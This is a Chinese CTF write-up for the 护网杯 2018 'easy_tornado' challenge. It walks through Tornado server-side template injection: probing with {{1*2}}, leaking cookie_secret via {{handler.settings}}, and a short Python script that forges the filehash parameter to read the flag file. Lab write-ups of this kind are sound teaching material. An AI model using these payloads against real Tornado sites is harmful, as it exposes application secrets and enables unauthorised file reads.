• [护网杯 2018]easy_tornado


    访问/welcome.txt,发现render关键字

     

    render是一个渲染函数,实质就是生成template模板,也就是说可能存在ssti模板注入漏洞

    有关于render函数可以参考如下文章:

    https://blog.csdn.net/qq78827534/article/details/80792514

    ssti模板注入可以参考文章:

    https://blog.csdn.net/zz_Caleb/article/details/96480967

    访问/flag.txt

    告诉我们flag位于系统的根目录

    访问/hint.txt

    URL中的filehash参数的值为md5(cookie_secret+md5(filename)),但是不知道cookie_secret的值

    尝试将filehash参数去掉,返回如下URL和页面

    http://xxx/error?msg=Error

    尝试修改msg参数后面的值

    http://xxx/error?msg={{1}}
    http://xxx/error?msg={{1*2}}

    页面返回1和2,说明存在模板注入

     

    通过百度搜索到tornado框架的附属文件handler.settings中存在cookie_secret

    http://194979a3-ac38-40d7-8b6a-754922a65551.node3.buuoj.cn/error?msg={{handler.settings}}

    根据获得的cookie_secret构造md5(cookie_secret+md5(filename)),py脚本如下

    import hashlib
    
    hash = hashlib.md5()
    
    filename = "/fllllllllllllag"
    cookie_secret = "613f58db-fcb6-4add-b506-99d2c1568fd8"
    hash.update(filename.encode('utf-8'))
    s1 = hash.hexdigest()
    hash = hashlib.md5()
    hash.update((cookie_secret + s1).encode('utf-8'))
    print(hash.hexdigest())

    构造好filehash参数后,访问URL便可获得flag

    http://cd3a1a0f-57fb-4f4a-8cd8-eb50fdad27fa.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=82da5e926c23c795874f504460f8d039

  • 相关阅读:
    LeetCode
    LeetCode
    ELK系列(5)
    ELK系列(4)
    ELK系列(3)
    ELK系列(2)
    ELK系列(1)
    计算机网络常见面试题总结
    mosquitto启动时Address already in use 和 一般的 Address already in use
    size和STL中的size_type
  • 原文地址:https://www.cnblogs.com/gtx690/p/13182874.html
Copyright © 2020-2023  润新知